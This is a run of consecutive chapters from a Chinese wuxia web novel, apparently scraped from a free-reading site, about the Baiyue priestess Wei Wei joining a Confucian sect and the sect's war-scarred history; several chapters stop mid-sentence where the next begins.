“魏姑娘或许要在儒宗小住一会,儒宗来往严格,我想不如挂个求学弟子的名号,不知道介不介意?” “都行。”魏危擎箸,把早点端到自己面前。 陆临渊随意地靠在太师椅上,虽然整整齐齐穿着儒宗青色端正的衣服,但怎么瞧都有一股慵懒的感觉。 总之不太像正经儒宗弟子。 她顿了顿,忽然开口问:“你几时出门的?” 陆临渊:“寅时。” 魏危:“睡这么点时间,你不会英年早逝么?” 陆临渊有些好笑道:“魏姑娘就不能盼着点我好?” 魏危低下头吃饭,不多时就把桌子上的早点一扫而空。 陆临渊拿起桌上杯盏:“今日正好无事,我带姑娘去挂个名字,领个儒宗弟子的腰牌。” 魏危没想到陆临渊做事情这样快,忽然想起什么挑眉问道:“我好像昨天差点杀了你?”你态度怎么对我这么寻常? “……” 陆临渊本来在喝茶,闻言差点呛到。 “——确实不是什么愉快的回忆。” 陆临渊擦着桌上溢出的茶水,却是低声笑着:“但以你的身手,昨日那么好的时机都没有动手,我又何必害怕呢?” 陆临渊居然这样信任一个百越人。 魏危有时候觉得陆临渊简直不像个儒宗弟子,倒像是个落拓古怪的温润侠客。 魏危拿起霜雪刀,朝他点了点头。 “走吧。” ** 儒宗有三十二峰,如果没有上好轻功,每一峰都需要走很长很长一条路。 辰时已过,已经到了儒宗弟子上课的时候。安静的儒宗仿佛醒了过来,巍巍然呼吸着。 浸染着水汽的山林,一阵山风吹过,草木哗哗作响,像是山脉在起伏呼吸。 三四人宽的台阶旁栽着蟠曲如虬的龙爪槐,随风探下自己碧绿的树叶。 儒宗受皇家恩惠,每到秋季大典,祯朝皇帝以太牢祭祀孔圣,登三百二十阶圣贤梯,前往主峰仁义峰正殿齐物殿祭祀。 祯朝尚学,自前朝废察举,改科举制以来,寒门亦可凭借读书直上青云,大大刺激了求学问道的风气。 儒宗三十二峰更是云集了祯朝上千名青年才俊,仅开阳的国子监能堪堪一比。 如果说国都开阳是祯朝的中枢,那么青城儒宗就是祯朝最有力的臂膀。 陆临渊的唇角总带着柔和的笑意,与魏危介绍这座天下闻名、巧夺天工的的儒宗三十二峰时,语气虽然温和,却实在像极了一个看烂了初来乍到者咋舌的美景,百无聊赖介绍着自家破烂小土丘和水池的主人。 关于这点,魏危倒是可以理解。 毕竟外人看来神秘莫测的百越之地,甚至于只有巫祝本人才能踏足的圣地,在魏危看来也不过是一个林子与一座山的集合体。 “……除去我居住的坐忘峰之外,儒宗三十一峰是由掌门任命的峰主管理的。” 陆临渊一边拾级而上,一边给魏危简单介绍。 “无类峰主要负责教习,是除了仁义峰之外最大的地方,几乎所有弟子都会在那里学习。” 顺着陆临渊的视线,魏危看着远处高高耸立的山头——下面小那么一点点的那个。 “撄宁峰,女学子所居住的地方;无为峰,男学子所居住的地方。儒宗倡导有教无类,儒宗也有不少女弟子在此研习。” “持春峰,弟子修行剑术的地方,靠近山下的一侧就是求己崖,你或许听说过,儒宗的武学排行以灭求己崖心灯为证。” “唔。” 听到修行两个字,魏危眼中过闪过一丝光亮,指尖不由自主地点着刀柄。 陆临渊敏锐地发现魏危的这点小习惯,主要是习惯的主人丝毫没有隐瞒的意思。 ——每当魏危想打架的时候,她的手指总是安抚、或是跃跃欲试一般,摸向自己的霜雪刀。 陆临渊眸色有一瞬的变化,不过很快,在他的目光与魏危相接的一瞬间,神色再度恢复成含笑的模样。 “好多人啊……”魏危轻轻开口。 武学高手的耳朵比一般人灵敏的多,隔着老远魏危都能听到弟子匆匆忙忙的脚步声,起码有上百人在台阶上上上下下。 嬉笑,焦虑,背书,调侃…… 魏危的耳朵动了动,风声带着这些嘈杂的声音进入她的耳朵里。 百越地广人稀,何况她又是尊贵的巫祝,百越首领,已经很久没有和这么多人在一起过了。 魏危看向脸上表情似乎没有变化的陆临渊:“你不需要上课吗?” 陆临渊好像听到了什么好笑的事情:“我是儒宗掌门的弟子。” 哦,有特权。 魏危面无表情。 他们一路走过来,魏危脑子里消化了许多词,三十二峰的名字,儒宗的注意事项,几个峰主的名字…… 陆临渊能确定魏危确实在听,但是听完她还能记得多少就不能确定了。 陆临渊顿了一下道:“其实有些东西没必要全记明白,只有一条——” 魏危淡淡:“……不可杀生。我知道,我们百越也不是到处砍人脑袋的野人。” 陆临渊微微勾起唇角。 魏危看了一眼看起来渺无尽头的台阶:“所以我们这是要去哪里?” 陆临渊眼睛也飘了飘:“我身份特殊,不能够直接把你安排进儒宗,所以……” “师兄!” 忽然清亮一声的呼喊,将两人思绪拉回原地。 山上的台阶的转弯处,一个穿着石青色儒宗弟子服饰的少年出现在他们面前。 他长长的头发拢作个马尾束在脑后,原本双手拢在层层叠叠的袖子里,有些像长袖复古的贵族。 他伸出一只手朝陆临渊打招呼,那皙白的关节在山风中很快染上了浅红,不得不像捧着一个暖炉似的,飞快地拢进袖子里。 他后面跟着几位拿着打扫器具的仆役。 这人显然和陆临渊很熟悉。 陆临渊抬起眼睛看着那个从石阶上下来的人,含笑道:“我记得早上才和你说打扫坐忘峰的事情。” 少年走到陆临渊面前,快活地开口:“三叠峰太无聊了,我想出来透透气。” 陆临渊宽和地看着他,耐心听着他关于“三叠峰怎么会那么高对于自己这种轻功不好的人走一峰就要半个时辰的人太痛苦了 7. 堆山骨而成玉 《临渊而危》全本免费阅读 陆临渊显然不是第一次出入孔家的府宅,刚刚带魏危进来时,只是与门房一个照面,就通畅无阻地拐过倒座房、垂花门、屏门进来,一直到孔成玉的书房。 书房很宽敞,被太师壁隔开,花梨木的书案长约一丈,像个定海神针一般放在里头,上面层层叠叠放着书籍孤本,纸砚笔墨,满目书香。 魏危抬起眼睛。 书桌旁站着一个儒巾襕衫的少年,就是孔家如今年轻的家主,儒宗尚贤峰的峰主——孔成玉。 这人年纪瞧着和魏危差不多大,只是体型略有些单薄,看着不苟言笑,有狷介孤高之操。 魏危能想象这人在学堂上,薄唇抿成一线,眉目微敛,训诫学子的样子。 孔成玉朝魏危点头示敬后,视线却定在魏危的霜雪刀上,抿了抿薄唇,似乎想说什么,但终究还是没有说出口,只是视线过了一会才移开,有些贪恋。 陆临渊坐在文椅上,给魏危倒茶,一边把茶点往她那边推了推,一边开口:“我听说你近日罚了几个学生。” 孔成玉坐下来:“你消息倒是灵通。” 陆临渊面对魏危抬起询问的目光笑了笑,示意不要客气。 陆临渊问道:“他们做了什么?” 孔成玉淡淡:“目无尊长,口出秽语,心思不正。” 孔成玉拿起左手旁放着的一叠写满涂鸦的纸,上头写满了污秽之语,定性差一点的看一眼就要气血上涌。 若是被其他先生看见了,直接逐出山门都有可能。 陆临渊陆临渊垂下眼睫,茶盏中映出自己的一双眼睛,轻轻叹气道:“其实你也没有必要管他们,这些人目光短浅,怙恶不悛,你何必费心思在他们身上?” “他们不会在乎你留下他们继续在儒宗学习,只会记恨你在课堂上训斥了他们。众口铄金,人心浮躁,就算你是清流,也会被人云亦云的人泼得满身脏水,被不明真相的愚人当做淤泥。” 孔成玉却是冷笑一声:“你以为我会在乎这些虚名?” “青城儒宗是孔圣当年清修之地,不是闭目高坐的佛堂。我罚他们,是因为他们做错了事情,我没有让他们离开儒宗,是因为他们年纪尚小。荀圣说人性本恶,或许还有教化的余地。退一万步讲,我的惩戒就算改不了他们的本性,也能继续在儒宗看管他们。被逐出山门是何等耻辱,他们更容易被激得走错路。至于那些无用的声名,我要了又有何用?” 陆临渊坐在魏危旁边,望着杯中淡绿的茶水。 听到孔成玉所言,他桃花眼微眯,眸中浮现几分孔成玉看不懂的情绪,瞬息过后,他放下茶盏,轻轻笑道:“孔先生既有割肉喂鹰之心,难道只对我有偏见?” “……” 孔成玉一顿,随即重重放下手中纸张,语气中有几分恼羞成怒的意思:“你不问问自己差点干了什么?” 魏危“唔”了一声,停下进食问陆临渊:“你干了什么?” 陆临渊沉默片刻,才缓缓开口道:“我差点杀了她。” 魏危点了点头:“哦。” 孔成玉虽然听不见魏危与陆临渊在讲什么,但也知道自己失态了,捏着狼毫笔僵了片刻,语气缓了缓。 “不谈这些,你早上说需要带一个人进儒宗,是这位姑娘么?” 陆临渊语气也更温和了些:“是的。魏姑娘是我远道而来的朋友,想借你的风,就说是孔家在外边的朋友,在儒宗待上一段时间。” 孔成玉看了一眼“远道而来的朋友”魏危,对方正专心致志吃着一块蜂蜜桂花糕。 孔成玉微微蹙眉:“儒宗上上下下几千个人,多一个人倒是不打眼。只是你怎么不问你的师父?又不是收徒这种大事,添一个人而已。” 陆临渊不答,只是微微笑着看着她,孔成玉顿了顿,半晌说了句好吧。 孔成玉道:“你可欠我一回人情。” 孔成玉从袖中拿出一把钥匙,插入桌下某个锁芯里,拿出两块木头牌子。 一块是核桃木,正面刻着“礼”字。 一块是铁力木,正面刻着“义”字。 “我这里的牌子就这两种,要多也没有了。” 孔成玉一边说着,一边拿起刻刀,手已经伸向了礼牌。 陆临渊蓦地出声:“不要这个,拿那个铁力木的。” 孔成玉的手顿了一下,眼中闪过一丝惊讶。 礼牌是给儒宗寻常学生的,义牌是给除了峰主之外的重要弟子的,大多只有亲传弟子才有此等殊荣,整个儒宗的义牌也不过一百来个。 就算是陆临渊身为掌门唯一的徒弟,也只是一块“义牌”而已。 孔成玉目光移向魏危片刻,没有再问什么,伸手拿过义牌,翻到背面。 背后最上面写着一个儒字,再往下是“尚贤峰”三字,孔成玉拿起锉刀问道:“姑娘叫什么名字?” 行不更名坐不改姓。“魏危。” 魏危道:“魏国的魏,危楼的危。” 孔成玉沉吟道:“好险峻的名字。” 一旁的陆临渊很是赞同地点了点头:“我也这么觉着。” 孔成玉睨他一眼,手上刻刀没有停,冷笑一声:“你名字好到哪里去?” “我名居安,字临渊。”陆临渊支着手臂,椅上托腮,温和笑道。 “‘君子对青天而惧,闻雷霆而不惊,履平地而恐,涉风波而不疑’,师父当年取这个名字,意为居安思危,时时如处临渊之险之意。” 陆临渊倒是难得解释这么多,孔成玉闻言也不由得看他一眼。 半晌,她开口:“如此说来,确实是一个好名字。” 陆临渊含笑,往后靠在椅子上,扫到一旁的魏危。 只见魏危抱臂怀剑,神色寻常。 “……” 陆临渊敢拿她吃得精光的茶点打赌,刚刚那一段话她一个字都没听进去。 铁力木虽然坚硬,但再坚硬也捱不过锉刀。孔成玉垂下眼睫,安静地雕刻木牌,书房一时间很安静,只有锉刀顿挫的声响。 结束之后,孔成玉吹走木屑,细细用砂纸打磨,刷上一层桐油,放在一旁阴干。 孔成玉拿刷子刷走桌上细碎木屑:“成了,你准备让她住在哪里?我这里屋子都是现成的,若是想住这里也不妨事。” 陆临渊道:“我另有安排。” 孔成玉点点头,也不问陆临渊具体打算安排在哪,说了一句好。 从刚刚开始一直没有说话的魏危忽然开口问道:“女子不是该住撄宁峰么?” 孔成玉抬头解释道:“住在儒宗山上的学子是这样安排的,但有义牌的弟子就宽松的多,可以住在其他地方。” “哦。”魏危点了点头,“你也是一样的么?” 孔成玉眼中闪烁,似乎有些不解:“什么?” 魏危眼中黑白分明,仿佛是漫不经心,又仿佛是看透所有的目光落在孔成玉的眼睛里。 她开口问:“你不也是女子么?” 书房的时间好像被暂停了。 片刻后,像是反应过来,这句话在空荡荡的书房里掀出了惊涛骇浪。 孔成玉先是冷静地看着魏危的眼睛,半晌确认她当真看出了自己性别,才活像是噎住了,耳朵通红。 随即那绯色不受控制地洇到脸颊,接着是脖子,最后半是震惊、半是恼怒地狠狠瞪向陆临渊。 “陆临渊!” 似乎一个鲜活的人从“孔先生”琨玉秋霜的壳子下裂开,显露出来。 孔成玉气地甚至想拿起镇纸,砸向陆临渊。 “你都和魏姑娘说了些什么?!” “……” 陆临渊觉得这事特别荒谬:“孔山骨,不要平白污人清白,这 8. 彼宝月之长生 《临渊而危》全本免费阅读 ——我欠姑娘一个人情。 魏危忽然觉得这几日老是有人对她说这句话,她来一趟中原,像是来赚人情的。 从孔氏府宅出来,陆临渊带他去三叠峰登记名姓,正好路过持春锋上的学子跟着先生练剑。 陆临渊知道她对这些感兴趣,停下来与她一起看了一会。 山色苍苍,翠色绵延。 儒宗上上下下习武成风,六艺中本就有御射两样,旨在强身健体,而剑为兵器之君子,也很是符合儒修的气度。 持春峰山头有好几个平坦的广场,浩浩荡荡走动着上百个青衣学子,皆襻膊束袖。 左边挽着弓箭,箭头对准准星,锐箭破风,簌簌作响,只听见铁箭头深深插入箭垛,尾羽颤抖的的声响。 右边就吵闹的多,学子拿着长剑,在其他人的围观下起手切磋,铁器撞击的声音清脆。比试虽谈不上刀光剑影,但在他们这个年纪也算是格斗有数。 一群血气方刚,颜丹鬓绿的少年郎将儒宗持春锋闹腾地像是山底下那些习武馆。 魏危瞧了一会那边台上小心试探、左挪右闪的切磋,看久了觉得自己在看一群上蹿下跳的鸡崽子。 魏危的神色有些微妙:“……” 陆临渊的声音从后边传来,站到魏危旁边:“我知道,你看他们就像在看七岁刚刚写字的孩童。” 陆临渊穿着儒宗弟子的青袍,衣袖被风吹得微荡,墨发高束,肩骨瘦削,眸子剔透清澈,却仿佛浸润过冬日里的寒雪。 魏危看他一眼,移开视线:“所以我越来越好奇了,儒宗到底怎么养出的你。” 陆临渊语气轻缓:“我也说过,魏姑娘最好不要好奇。” 魏危转头望去,阳光泼洒,树阴匝地。 陆临渊半个身子在阴影里,唇角勾着旁人看不懂的笑意。 ** 三叠峰负责登记信息的是刚刚从坐忘峰回来的石流玉。 有孔家的义牌,一切都很顺理成章。 三叠峰有着一直顶到山头最高处的夸张的柜子,小仙鹤懒得上上下下挪梯子,只仰着头,像是表演杂技一般在柜子上使劲够东西,大半个身子都从梯子上探出去,看得人心惊肉跳。 陆临渊微微叹了一口气:“要哪些东西,让我来拿吧。” 石流玉擦了擦汗,有些汗颜:“多、多谢师兄。” 他又很是苦恼地咕哝:“……我早说三叠峰这些东西改改一改了。” 按照石流玉所说,陆临渊最终捧着半臂高的东西放在书案上。 儒宗登记新人,恨不得连祖宗十八代都刨干净。 魏危就算再不懂人情世故,也不可能老老实实把百越的事情全给说了。 只是石流玉看起来呆头呆脑,在这些事上却极严谨,半分马虎也没有。 正当魏危的指尖点了霜雪刀柄思索时,一旁的陆临渊放下茶盏开口道:“我好像记得,若是有保人,也不必这么麻烦。” 石流玉脑筋转得很快,听陆临渊这么说,从厚厚的文书中精准地找出一张纸来:“师兄是说这个?” 儒宗有时也会有一些贵客上门,比如学子的父母亲眷,峰主掌门的亲朋好友。 有时他们暂且住在儒宗山上,知根知底的,只要有儒宗重要之人作保,就不必像寻常学子一样问个详细。 石流玉问:“既然如此,要孔先生来签字么?” “算了,不必麻烦孔先生,从三叠峰到尚贤峰远的很,何必再跑一趟?”陆临渊含笑,捋起袖子道,“我记得我也是可以的吧?” 儒宗掌门的唯一一位亲传弟子,自然是可以的。 陆临渊签下自己的名字,沾了印泥摁上指印。 如此,魏危在儒宗就不是“黑户”了。 石流玉将文书整理好归档:“对了,师兄,刚刚山门下来了个丰隆酒楼的人,说有人点了菜要送上宗门。” 陆临渊莫名其妙:“告诉我干什么?” 石流玉:“呃……因为那人说,是指名道姓送给坐忘峰的。” 陆临渊眼中闪过一丝错愕,一瞬思考的功夫,他看向一脸“恍然大悟”的魏危。 陆临渊挑眉,唇语问她:你? 魏危心思显然不在这上面,她喃喃了一句什么,陆临渊没听清。 ——我的马…… 她的大宛马和东西还在丰隆酒楼没拿过来呢! ** 从百越出发之前,朱虞族的长老忧虑不已,生怕魏危被中原人骗了,又怕她吃不饱穿不暖,恨不得叫五六个骡子跟着,连棉被都带上。 魏危想象了一下月黑风高,高头骏马上驮着自个和……山一样的棉花。 她婉拒了长老的好心。 最终是楚凤声想了一个折中的法子——东西不能齐备,那就多带些钱。 朱虞长老倒是不怕有人吃了熊心豹子胆打劫魏危,就算是二十个脑袋都不够魏危一刀的。 她怕的是魏危根本存不住钱,把银钱随手一放,还没到青城,就丢成穷光蛋了! 于是百越的工匠用金银玉石打造了许多首饰,叫魏危贴身带着。 昨日魏危上山之前,用一枚纯金戒指换了一顿饭,另让丰隆酒楼的跑堂在第二天给陆临渊送一份。 魏危不太懂中原的规矩,但也知道自己拿着两年前的战帖要陆临渊切磋这件事不够妥当,想着拿一顿饭当做见面礼,无论是输是赢,都算作自己一份心意。 没想到事情变化得比她想象的还要急转直下,自己不仅没划去陆临渊的名字,还要在儒宗住上一段日子。 被刚刚丰隆酒楼的事点醒,魏危才想起来自己的东西还没拿上儒宗。 ** 儒宗山门与青城一样,多种桐花。 此时漫山遍野桐花正盛,如雪涛云海,雪白的花瓣随风掉落,如同宣纸燃尽后升起的一点白色,蔚为壮观。 魏危腰间佩牌悬刀,独自一人走在下山的路上,还没到下课时间,路上只有几个佩戴着信字牌的杂役上下走动。 拐角处出现一个穿着儒宗青袍的人影,魏危的视角里,那湖水碧的身影忽然顿了顿,在就要路过他时候,他轻轻讶然地“啊”了一声。 “好巧,是少侠?” “……” 魏危循声望去。 那人生得沈腰潘鬓,人若玉琢,目似清潭,只是气色不算上佳,瘦肩削骨,一看就知道是自小身体不好。 真是人生何处不相逢。 魏危从记忆里搜出一个名字,问道:“乔长生?你怎么在这里?” 在丰隆酒楼中遇上的,日月山庄的少公子? 没想到魏危还记得自己的名字,乔长生眸子一亮,临近中午的阳光在他身上投下金 9. 君子帖 《临渊而危》全本免费阅读 魏危听乔长生这么说,一扫他腰上挂着的智字腰牌,忽然又想到了什么,淡声道:“正好。我初来乍到,也想向乔公子打听一些事情。” “姑娘但问无妨。” “乔公子知不知道孔家的事情?” “孔家?” 魏危:“我许久没有来过……青城,但依稀记得家中长辈说过,儒宗应当是孔圣后人当家,我想知道如今儒宗掌门怎么换了徐潜山,而孔氏后人只是个峰主了?” 乔长生闻言有些踌躇:“这虽然不是什么隐私事,但——” “我似乎记得。”魏危点了点霜雪刀,开口道。 “乔公子欠我一个人情?” 乔长生没想到人情还能这般用:“……” 乔长生踌躇片刻道:“姑娘可知道,二十一年前,青城那场血战?” ** 儒宗由孔圣一手创立,本一直由孔家后代掌门。 昔年孔圣骑牛入山关,归乌有之乡,从此不见凡迹,人间倒是留下了他的后代。 自前朝推崇儒教以来,孔圣地位一跃而上,不仅皇帝年年登台祭祀,普通求学的人家更是香火祭拜,期望在科举中朱衣点头,金榜题名。 直到二十年一前,西边戎狄靺鞨率十万大军东下,一路拔城攻寨,杀男女数十万人,一时间鸡犬无余,白骨蔽野。 后世有文记载: 妇女长索系颈,累累如贯珠,一步一蹶,遍身泥土; 满地皆婴儿,或衬马蹄,或藉人足,肝脑涂地,泣声盈野。 靺鞨势如破竹,一路屠杀清河、陈郡、荥阳三城,直逼青城而来。 青城若是失守,国都开阳就岌岌可危。 靺鞨首领赫连独鹿驻营青城之外二十里处,派轻骑悬头马上,人发系在马尾上拖行到青城城墙外,一路血肉模糊,不见人形。 一张以人血为墨写就的纸飘落至青城城墙前。 “孔氏认得故人否?” 轻骑拴着的人头与躯干,居然是儒宗当时掌门的弟弟孔子昕与妻子郭郡。 孔子昕与郭郡自青城游历山海,一路教导弟子,颇有美名,却不想行至荥阳,靺鞨大军突袭,他们与当地郡守坚守城门七日。 孔子昕与郭郡于战事上展现出谋略足以让后人惊叹。 短短七日,孔子昕运筹帷幄,郭郡机敏果决,荥阳郡守虽是中庸守成之辈,却性格沉稳,识人善用。 夫妻二人虚虚实实,奇计频出,竟让靺鞨战无不胜的玄铁骑兵吃了许多暗亏。 荥阳像个难啃的骨头,生生卡主了靺鞨屠杀的的镰刀。 靺鞨本就擅长以雷霆之势千里突袭,不耐久战,如今战事渐转,只要荥阳再撑一日,就能等到来自徐州的援军。 只是谁也不知道后面发生了什么,靺鞨玄铁骑兵还是攻破了荥阳的城门。 城破之日,荥阳被屠尽,泗水为之不流。 孔子昕在城门被靺鞨射杀,其夫人郭郡殉城。 靺鞨首领赫连独鹿对孔子昕、郭郡二人恨不得剔骨啖肉以泄其恨。 荥阳城破那日,他下令寻到他们夫妻二人的尸首,男者剥皮揎草,女者拔舌敲髓,悬首于铁骑马头前。 事情传到青城,满城骇然。 彼时的儒宗掌门是孔子昕的兄长孔思瑾,靺鞨将他二弟与弟媳的尸首丢弃在青城门外,孔思瑾收敛尸骨,闭门不出。 青城郡守感念孔子昕郭郡夫妻二人的功绩,在战事稍歇的空档亲自上儒宗请下孔思瑾,任命他为战时儒林郎,共掌城中事。 那天夜里,发生了一件后来震惊朝堂,又让人百思不得其解的事情。 孔思瑾在夜晚忽然吩咐守城将士打开暗门,带几位亲信系颈衔璧,主动投降靺鞨。 还好青城郡守及时发现不妥,连忙闭门,在靺鞨急行骑来之前守城不出。 孔子昕郭郡尸骨未寒,其兄长却衰服投降了靺鞨,颇有些“臣等正欲死战,陛下何故先降”的意思,此等滑天下之大稽之事,城内沸腾,但凡有一丁点血性的人都受不了这等奇耻大辱。 孔家三弟就是如今孔家家主孔成玉的父亲孔怀素。 当年孔怀素当机立断,宣布从族谱中划去孔思瑾的名姓,怒斥其行径,与此人一刀两断,勉强止住当时沸腾的悠悠之口。 第二天赫连独鹿率军攻城,明眼人都能看见玄铁骑兵只往原本布防薄弱的地方强攻,布防图只有几人看过,必然是孔思瑾泄露的。 好在郡守连夜换了守城布置,加之青城内群情激奋,比起玄铁骑兵,更愤恨投降求荣的奸人,城内一时间义愤填膺,士气高涨,守住了城门。 徐州与云梦的大军赶来之时,靺鞨玄铁骑兵也损失惨重,赫连独鹿知道这次必定一口气吞不到开阳,终于选择了撤兵。 如此,这场突袭以祯朝惨胜为终。 ** 听至此,魏危蹙眉,暂时打断了乔长生:“……孔思瑾为什么要这么做?” 乔长生却是摇了摇头:“不知。” 乔长生是日月山庄的少公子,怀瑾握瑜,眼中总有淡淡的笑意,但此刻唇角却抿着,显得凛然。 “虽说原情定过,但谁也不知道当年孔思瑾到底在想什么。” 乔长生目光平静的注视着远处飘落的桐花。 “因为他死在了靺鞨撤兵的战场上。” ** 孔思瑾虽死在了混乱的战场上,却不足以阻拦战后的清算。 这时,郭郡写的一封帖子被一位义士带到儒宗。 原先战时匆忙,消息滞涩,大多数人只大约知道孔子昕与郭郡是守城的义士,他们具体做了什么事情却不大清楚。 那封由不知名义士带回的帖子被皇帝派来的钦差打开,最终昭告天下。 郭郡写的帖子已经残破了,因为是一口气写完的,写得也并不工整,曲笔兼用,到最后墨迹枯竭,如同断木。 开头写了靺鞨几日几时到了荥阳城外,何时开始攻城,孤城围逼,自己与丈夫如何与郡守一起守城,城中如何众志成城。 儒修挽弓填补死去守城士兵的位置,僧人开寺门接纳伤者,女子登城抱着从攻城梯上来的靺鞨士兵同归于尽,男子被靺鞨士兵割肉分食,死前仍怒目咒骂靺鞨。 …… 似乎预料了城破身死的结局,郭郡 10. 琉璃君 《临渊而危》全本免费阅读 跪着的中年男子正是儒宗掌门徐潜山。 从正殿侧门进来的陆临渊跨过高高的门槛,撩起衣摆跪下道:“剑是君子器,也是杀人器。弟子不想冲撞了殿中前辈。” 徐潜山睁开眼睛,凝视着面前如高山一般的牌位,一双眼睛深邃如黑夜。 “你很细心。” 得了夸赞,陆临渊神色也不见什么变化:“师父过誉,这是弟子应当做的。” “……” 徐潜山从蒲团上站起,动作缓而沉稳,巍巍然掌门的样子,却压迫感十足。 陆临渊像是虔诚跪在神像下的信徒,腰杆笔直,一双桃花眼却温顺地低着。 那道被烛火拉长的影子一点一点来走到他面前。 “抬头。”徐潜山坚硬的声音蓦地从头顶传来,满殿烛火都似乎为之一晃动。 陆临渊闻言抬起头。 眼前场景霍然明亮。 儒宗仁义峰是主峰,更是皇帝秋祭的场所。 正殿摆着七百余年来儒宗所有仁义之士的排位,几百块一尺二寸的木头刻着亡故者的名姓,摆了整整三十二排。 从前到后,从上到下,正殿肃穆的名字像山海一般压下,金色的名姓被烛火映照着,如同一张大网罩下来,一瞬就能占满磕头跪拜之人的眼睛,再傲气的人在这些前辈面前也不免心生敬畏。 最后几排,摆着孔子昕与郭郡的灵位。 最高处摆着孔圣的木像,眼中似空非空,一如徐潜山此刻注视着陆临渊那清冷的目光。 徐潜山道:“陆居安。” 陆临渊垂目:“弟子在。” 徐潜山:“上香。” 除了秋日大祭,仁义峰基本没有殿门全开的时候,只有打扫的仆役与掌门本人会日日到这里来上香祭拜。 还有身为掌门唯一弟子的陆临渊。 陆临渊闻言微微倾了倾身子,而后站起。 他取过三支线香,就烛点香,以手灭火,左手上右手下,闭目持香三拜,最后上前一步,准备将香插入香炉之中。 “……” 正殿安静地有些冷清。 “你是从三叠峰过来的,听说你点了山下的吃食上山?”徐潜山在后忽然开口询问。 一点香灰掉下来,但插香的手依旧沉稳。 徐潜山虽然年近半百,不怎么常出面,但儒宗的消息还是一清二楚。 陆临渊上完香回到原位才开口,回得自然,还稍稍带一点掩饰的窘迫:“是。口腹之欲,让师父见笑了。” 徐潜山原本负手看着满殿牌位,闻言看他一眼,终究移开目光:“罢了。” 例行上香结束,师徒两人离开正殿,一前一后走在山路上,一阵山风吹过,桐花花坠。 徐潜山顿了顿,语气依旧冷硬:“少年人火气旺,但山上不比山下,你也应当多穿一些衣裳。” 陆临渊温顺回道:“是,多谢师父牵挂。” “……” 徐潜山面色有一瞬复杂,似乎回头想说什么,但瞥见陆临渊低着头的样子还是没有开口。 过了半晌,他再次开口:“无类峰有一位先生乔长生,你知道吗?” 陆临渊:“知道。” 乔长生声名远播,不仅是儒宗的丹青先生,更是日月山庄的少公子,画艺出众。开阳画院允他紫服配鱼袋之殊荣,被他婉拒。 徐潜山顿了顿才开口道:“他的兄长过一阵子会来儒宗看望他,他自小身体不算太好,你吩咐三叠峰那边多照顾一些,别让他的兄长觉得儒宗怠慢了他。” “……” 徐潜山已经到了掌门住处,陆临渊停下脚步,立在外头。 又一阵山风吹过,树影摇晃中漏下促狭的光点,落在陆临渊隽长的眉眼中。 他终是慢慢开口:“弟子知道了。” 身旁一株桐花树的枝正在此时断裂,那声音并不重,咔嚓一声而已,轻的像是断掉一根芦苇,然而树枝掉落在地上的声音却无端让陆临渊眼睛一眨。 自始至终,他的师父都没有回过头。 ** 陆临渊在原地站了一会,随后转头下山,四野静寂,满地落花如雪。 山风吹动青色衣袍,陆临渊略略抬起头,望着儒宗三十二峰影影绰绰,翻腾着无尽的云海,宛如画纸上的没骨山水。 有那么一瞬间,面前的场景变化,像是剑刃徒然劈开了口子,四面八方涌现出无数难以辨明的幻听,金属碰撞嘶哑的声音响彻耳畔。 黑暗里有人扑上来,死死掐住自己的脖子,漆黑中又有一把匕首扎上他的肩膀,流在地上的鲜血冰凉,漆黑眼中隐隐可见红光。 那人冷笑着,声音暗沉道:“你就是儒宗的——” 自五年前的那天起,陆临渊梦中总会闪回这些片段。 陆临渊无端想起魏危来的那天晚上,他在浴桶中闭着眼睛,耳边又是无休无止的幻听,如同恶鬼哭嚎,他捏着浴桶的边缘,指节逐渐收紧。 而此时,他察觉到了门外有一个人。 单枪匹马来儒宗的疯子不多,陆临渊几乎是本能地想起几个名字,几股势力。 这些东西与那无休止的幻听一起扎进他的脑袋里搅动。 他的手指颤了颤,忽然感到一阵厌烦。 他本就是疯的,徐潜山圈了坐忘峰给他,儒宗的教义试图掰正他的三观,那些一夜一夜的经历又撕碎他的认知。 他像一根困在一峰之地,失去阳光照拂的藤蔓,死死地纠缠在一起,绞杀所有余地,歪斜的骨头一次又一次被打断,充满苦水的肺腑却被人塞进仁义道德。 …… 陆临渊等了很久,但门外那个人却始终没有动手。 滚烫的水变得温热,又变得冰冷,陆临渊不由得轻轻叹气,原本一股脑的想法凉下来。 幻听消失,理智回归,他知道无论门外那人打的是什么主意,他今夜都会活下去。 他随手披了一件衣袍,推开门。 月亮挂在天上,开门的那一刻,冷风灌进来,驱散了满屋子的水汽。 “……” 料峭春寒,坐忘峰一直以来就没有人气,像是一件死物,然而立在门前的少年却鲜活漂亮。 陆临渊本该拔剑而出,但他好像被什么力量牵引着,视线下意识停留在对方的脸上,那个人长睫向上翘起,也看着他。 她穿着一身束袖胡袍,年纪不会超过二十岁。 生她养她的山水必然辽阔,否则不会有这么理所当然的气度,也不会有那么一双如同幼兽一般漂亮又透彻,没有一丝负面情绪的眼睛。 11. 峰如浪 《临渊而危》全本免费阅读 陆临渊回到坐忘峰时,天色已晚。 魏危之前说着要下山一趟,临走时拍了拍陆临渊的肩,说一定不要辜负自己在丰隆酒楼点的一份心意。 儒宗的仆役进不了陆临渊的屋子,就将那一大堆吃食放在门外头。 竹篮分做两三层,摆了整整七八个。 陆临渊望着委屈挤在一起的竹篮失笑。 她这是点了多少。 又似乎想起什么,微微皱了皱眉。 ——魏危还没有回来。 陆临渊打开门,把竹篮全部提进来,院中果然一片冷寂。 饭菜早已经冷了,但陆临渊不在乎。 他拿起一块樱桃毕罗,细嚼慢咽,一直到最后一点唇角的残渣被舌头卷着舔舐干净,才心满意足地咽下。 陆临渊垂下眼睫,樱桃蜜酱的味道还残留在口腔中,清香甜腻,难怪魏危会喜欢。 过了片刻,陆临渊摸了摸唇角,发现自己在笑。 察觉到这点,他倏忽静了静,看着满桌的吃食,不知道在想什么。 桌上摆着石流玉送回来的君子帖,陆临渊叹一口气,拿起剑离开屋子,顺着小道走到无悔崖前。 陆临渊抬手横剑对着月亮,袖子落到臂弯处。 山崖前的风拂乱衣衫,一派清冷。 只见清寒的月光映着君子帖,如同天际一线白光,能晃了人的眼睛。 陆临渊仰头看着近在眼前的君子帖。 魏危没有说错,他确实经常来无悔崖边。 理由倒是没有什么奇特的,无悔崖清静,有时站在崖边,感觉崖底的风吹上来,钻进衣服里,浑身寒凉,心里说不出的通彻快意。 人无羽翼,也无天梯,若从无悔崖上一跃而下,就如同折翅白鸟坠入深渊。古来圣贤皆死尽,只有千古峰如浪。 此时虽然没有灯笼,但月色已足够清亮。 